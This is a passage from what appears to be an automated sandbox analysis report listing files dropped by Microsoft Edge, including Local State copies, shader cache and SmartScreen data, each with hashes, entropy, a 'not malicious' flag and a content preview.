Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAACDs+S8GkXrQrhfGKkXA5yQEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAADx1V7gbBpzml3Gt4VnIU1ftL8XqdmcdYyRn+La3ayMRwAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3b41e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.794503546523364
Encrypted:	false
SSDEEP:	96:iaqkHfGs5g5ih/cI9URLl8RototMFVvlwhTe4IbONIeTC6XQS0qGqk+Z4uj+rjEy:akuGeiRUah16qRAq1k8SPxVLZ7VTiq
MD5:	5D61AB19E83E7E870FF42507F6C92C4C
SHA1:	5BFA94969CD43C4EFF83061D172B96D4EE8811BC
SHA-256:	7C7FD5C7605C9FB930807C21B1D92B4AEA92810D4241C54C58553F5D85A73A32
SHA-512:	BA0AC412D68B0FB4622AE6BA985F132DC3DC0D0DBB22E3169897FA6893609153842263A37383E07D3DF4246A56B69DE431EF510AEC07FC4845979879C982730C
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAACDs+S8GkXrQrhfGKkXA5yQEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAADx1V7gbBpzml3Gt4VnIU1ftL8XqdmcdYyRn+La3ayMRwAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3b557.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.794503546523364
Encrypted:	false
SSDEEP:	96:iaqkHfGs5g5ih/cI9URLl8RototMFVvlwhTe4IbONIeTC6XQS0qGqk+Z4uj+rjEy:akuGeiRUah16qRAq1k8SPxVLZ7VTiq
MD5:	5D61AB19E83E7E870FF42507F6C92C4C
SHA1:	5BFA94969CD43C4EFF83061D172B96D4EE8811BC
SHA-256:	7C7FD5C7605C9FB930807C21B1D92B4AEA92810D4241C54C58553F5D85A73A32
SHA-512:	BA0AC412D68B0FB4622AE6BA985F132DC3DC0D0DBB22E3169897FA6893609153842263A37383E07D3DF4246A56B69DE431EF510AEC07FC4845979879C982730C
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAACDs+S8GkXrQrhfGKkXA5yQEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAADx1V7gbBpzml3Gt4VnIU1ftL8XqdmcdYyRn+La3ayMRwAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3b566.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.794503546523364
Encrypted:	false
SSDEEP:	96:iaqkHfGs5g5ih/cI9URLl8RototMFVvlwhTe4IbONIeTC6XQS0qGqk+Z4uj+rjEy:akuGeiRUah16qRAq1k8SPxVLZ7VTiq
MD5:	5D61AB19E83E7E870FF42507F6C92C4C
SHA1:	5BFA94969CD43C4EFF83061D172B96D4EE8811BC
SHA-256:	7C7FD5C7605C9FB930807C21B1D92B4AEA92810D4241C54C58553F5D85A73A32
SHA-512:	BA0AC412D68B0FB4622AE6BA985F132DC3DC0D0DBB22E3169897FA6893609153842263A37383E07D3DF4246A56B69DE431EF510AEC07FC4845979879C982730C
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAACDs+S8GkXrQrhfGKkXA5yQEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAADx1V7gbBpzml3Gt4VnIU1ftL8XqdmcdYyRn+La3ayMRwAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3d34f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.794503546523364
Encrypted:	false
SSDEEP:	96:iaqkHfGs5g5ih/cI9URLl8RototMFVvlwhTe4IbONIeTC6XQS0qGqk+Z4uj+rjEy:akuGeiRUah16qRAq1k8SPxVLZ7VTiq
MD5:	5D61AB19E83E7E870FF42507F6C92C4C
SHA1:	5BFA94969CD43C4EFF83061D172B96D4EE8811BC
SHA-256:	7C7FD5C7605C9FB930807C21B1D92B4AEA92810D4241C54C58553F5D85A73A32
SHA-512:	BA0AC412D68B0FB4622AE6BA985F132DC3DC0D0DBB22E3169897FA6893609153842263A37383E07D3DF4246A56B69DE431EF510AEC07FC4845979879C982730C
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAACDs+S8GkXrQrhfGKkXA5yQEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAADx1V7gbBpzml3Gt4VnIU1ftL8XqdmcdYyRn+La3ayMRwAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3d35e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.794503546523364
Encrypted:	false
SSDEEP:	96:iaqkHfGs5g5ih/cI9URLl8RototMFVvlwhTe4IbONIeTC6XQS0qGqk+Z4uj+rjEy:akuGeiRUah16qRAq1k8SPxVLZ7VTiq
MD5:	5D61AB19E83E7E870FF42507F6C92C4C
SHA1:	5BFA94969CD43C4EFF83061D172B96D4EE8811BC
SHA-256:	7C7FD5C7605C9FB930807C21B1D92B4AEA92810D4241C54C58553F5D85A73A32
SHA-512:	BA0AC412D68B0FB4622AE6BA985F132DC3DC0D0DBB22E3169897FA6893609153842263A37383E07D3DF4246A56B69DE431EF510AEC07FC4845979879C982730C
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAACDs+S8GkXrQrhfGKkXA5yQEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAADx1V7gbBpzml3Gt4VnIU1ftL8XqdmcdYyRn+La3ayMRwAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ShaderCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.553120663130604E-4
Encrypted:	false
SSDEEP:	3:LsNlactl:Ls35tl
MD5:	04C0C2B932B8FFA1E4B6E3671262B102
SHA1:	895DDD34143A45C2807D86FC0A12F26D961C2D5F
SHA-256:	5FD127EC16639EC56C75E693EEA0653B4F4AD16160057B0F3B44FE2C1E1D9D9C
SHA-512:	F0CA302D2360A45D1077E26EC1006FE0D6AE47E7A4FE177BE495BEE58351BC24A052E4F94BCC6D840C22AB76981977EBCBFCCAEA448486FA5A75B5809712E0FD
Malicious:	false
Preview:	.........................................\|Di./.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSynchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	3.922828737239167
Encrypted:	false
SSDEEP:	3:2NGw+K+:fwZ+
MD5:	7BAAFE811F480ACFCCCEE0D744355C79
SHA1:	24B89AE82313084BB8BBEB9AD98A550F41DF7B27
SHA-256:	D5743766AF0312C7B7728219FC24A03A4FB1C2A54A506F337953FBC2C1B847C7
SHA-512:	70FE1C197AF507CC0D65E99807D245C896A40A4271BA1121F9B621980877B43019E584C48780951FC1AD2A5D7D146FC6EA4678139A5B38F9B6F7A5F1E2E86BA3
Malicious:	false
Preview:	customSynchronousLookupUris_0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSynchronousLookupUris_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	35302
Entropy (8bit):	7.99333285466604
Encrypted:	true
SSDEEP:	768:rRhaFePY38QBsj61g3g01LXoDGPpgb8KbMcnjrQCckBuJyqk3x8cBBT:rLP+TBK6ZQLXSsaMcnHQQcox80
MD5:	0E06E28C3536360DE3486B1A9E5195E8
SHA1:	EB768267F34EC16A6CCD1966DCA4C3C2870268AB
SHA-256:	F2658B1C913A96E75B45E6ADB464C8D796B34AC43BAF1635AA32E16D1752971C
SHA-512:	45F1E909599E2F63372867BC359CF72FD846619DFEB5359E52D5700E0B1BCFFE5FF07606511A3BFFDDD933A0507195439457E4E29A49EB6451F26186B7240041
Malicious:	false
Preview:	.......murmur3.....IN...9.......0..X..#l....C....]......pv..E..........,..?.N?....V..B-..F.1....g\|..._.>'.-(V... .=.7P.m....#}.r.....>.LE...G.A.h5........J..=..L^-.Zl++,..h..o.y..~j.]u...W...&s.........M..........h3b..[.5.]..V^w.........a....6g3..%.gy../{\|Z.B..X.}5.]..t.1.H&B.[.).$Y......2....L.t...{...[WE.yy.]..e.v0..\.J3..T.`1Lnh.../..-=w...W.&N7.nz.P...z......'i..R6....../....t.[..&-.....T&l..e....$.8.."....Iq....J.v..\|.6.M...zE...a9uw..'.$6.L..m$......NB).JL.G.7}8(`....J.)b.E.m...c.0I.V...\|$....;.k.......8v..l.:..@.F.........K..2...%(...kA......LJd~._A.N.....$3...5....Z"...X=.....%.........6.k.....F..1..l,ia..i.i....y.M..Cl........}.I..r..-+=b.6....%...#...W..K.....=.F....~.....[.......-...../;....~.09..d.....GR..H.lR...m.Huh9.:..A H./)..D.F..Y.n7.....7D.O.a;>Z.K....w...sq..qo3N...8@.zpD.Ku......+.Z=.zNFgP._@.z.ic.......3.....+..j...an%...X..7.q..A.l.7.S2..+....1.s.b..z...@v..!.y...N.C.XQ.p.\..x8(.<.....cq.(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3581
Entropy (8bit):	4.459693941095613
Encrypted:	false
SSDEEP:	96:JTMhnytNaSA4BOsNQNhnUZTFGKDIWHCgL5tfHaaJzRHF+P1sYmnfHUdT+GWBH7Y/:KyMot7vjFU
MD5:	BDE38FAE28EC415384B8CFE052306D6C
SHA1:	3019740AF622B58D573C00BF5C98DD77F3FBB5CD
SHA-256:	1F4542614473AE103A5EE3DEEEC61D033A40271CFF891AAA6797534E4DBB4D20
SHA-512:	9C369D69298EBF087412EDA782EE72AFE5448FD0D69EA5141C2744EA5F6C36CDF70A51845CDC174838BAC0ADABDFA70DF6AEDBF6E7867578AE7C4B7805A8B55E
Malicious:	false
Preview:	{"models":[],"geoidMaps":{"gw_my":"https://malaysia.smartscreen.microsoft.com/","gw_tw":"https://taiwan.smartscreen.microsoft.com/","gw_at":"https://austria.smartscreen.microsoft.com/","gw_es":"https://spain.smartscreen.microsoft.com/","gw_pl":"https://poland.smartscreen.microsoft.com/","gw_se":"https://sweden.smartscreen.microsoft.com/","gw_kr":"https://southkorea.smartscreen.microsoft.com/","gw_br":"https://brazil.smartscreen.microsoft.com/","au":"https://australia.smartscreen.microsoft.com/","dk":"https://denmark.smartscreen.microsoft.com/","gw_sg":"https://singapore.smartscreen.microsoft.com/","gw_fr":"https://france.smartscreen.microsoft.com/","gw_ca":"https://canada.smartscreen.microsoft.com/","test":"https://eu-9.smartscreen.microsoft.com/","gw_il":"https://israel.smartscreen.microsoft.com/","gw_au":"https://australia.smartscreen.microsoft.com/","gw_ffl4mod":"https://unitedstates4.ss.wd.microsoft.us/","gw_ffl4":"https://unitedstates1.ss.wd.microsoft.us/","gw_eu":"https://europe.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_636976985063396749.rel.v2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	35302
Entropy (8bit):	7.99333285466604
Encrypted:	true
SSDEEP:	768:rRhaFePY38QBsj61g3g01LXoDGPpgb8KbMcnjrQCckBuJyqk3x8cBBT:rLP+TBK6ZQLXSsaMcnHQQcox80
MD5:	0E06E28C3536360DE3486B1A9E5195E8
SHA1:	EB768267F34EC16A6CCD1966DCA4C3C2870268AB
SHA-256:	F2658B1C913A96E75B45E6ADB464C8D796B34AC43BAF1635AA32E16D1752971C
SHA-512:	45F1E909599E2F63372867BC359CF72FD846619DFEB5359E52D5700E0B1BCFFE5FF07606511A3BFFDDD933A0507195439457E4E29A49EB6451F26186B7240041
Malicious:	false
Preview:	.......murmur3.....IN...9.......0..X..#l....C....]......pv..E..........,..?.N?....V..B-..F.1....g\|..._.>'.-(V... .=.7P.m....#}.r.....>.LE...G.A.h5........J..=..L^-.Zl++,..h..o.y..~j.]u...W...&s.........M..........h3b..[.5.]..V^w.........a....6g3..%.gy../{\|Z.B..X.}5.]..t.1.H&B.[.).$Y......2....L.t...{...[WE.yy.]..e.v0..\.J3..T.`1Lnh.../..-=w...W.&N7.nz.P...z......'i..R6....../....t.[..&-.....T&l..e....$.8.."....Iq....J.v..\|.6.M...zE...a9uw..'.$6.L..m$......NB).JL.G.7}8(`....J.)b.E.m...c.0I.V...\|$....;.k.......8v..l.:..@.F.........K..2...%(...kA......LJd~._A.N.....$3...5....Z"...X=.....%.........6.k.....F..1..l,ia..i.i....y.M..Cl........}.I..r..-+=b.6....%...#...W..K.....=.F....~.....[.......-...../;....~.09..d.....GR..H.lR...m.Huh9.:..A H./)..D.F..Y.n7.....7D.O.a;>Z.K....w...sq..qo3N...8@.zpD.Ku......+.Z=.zNFgP._@.z.ic.......3.....+..j...an%...X..7.q..A.l.7.S2..+....1.s.b..z...@v..!.y...N.C.XQ.p.\..x8(.<.....cq.(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
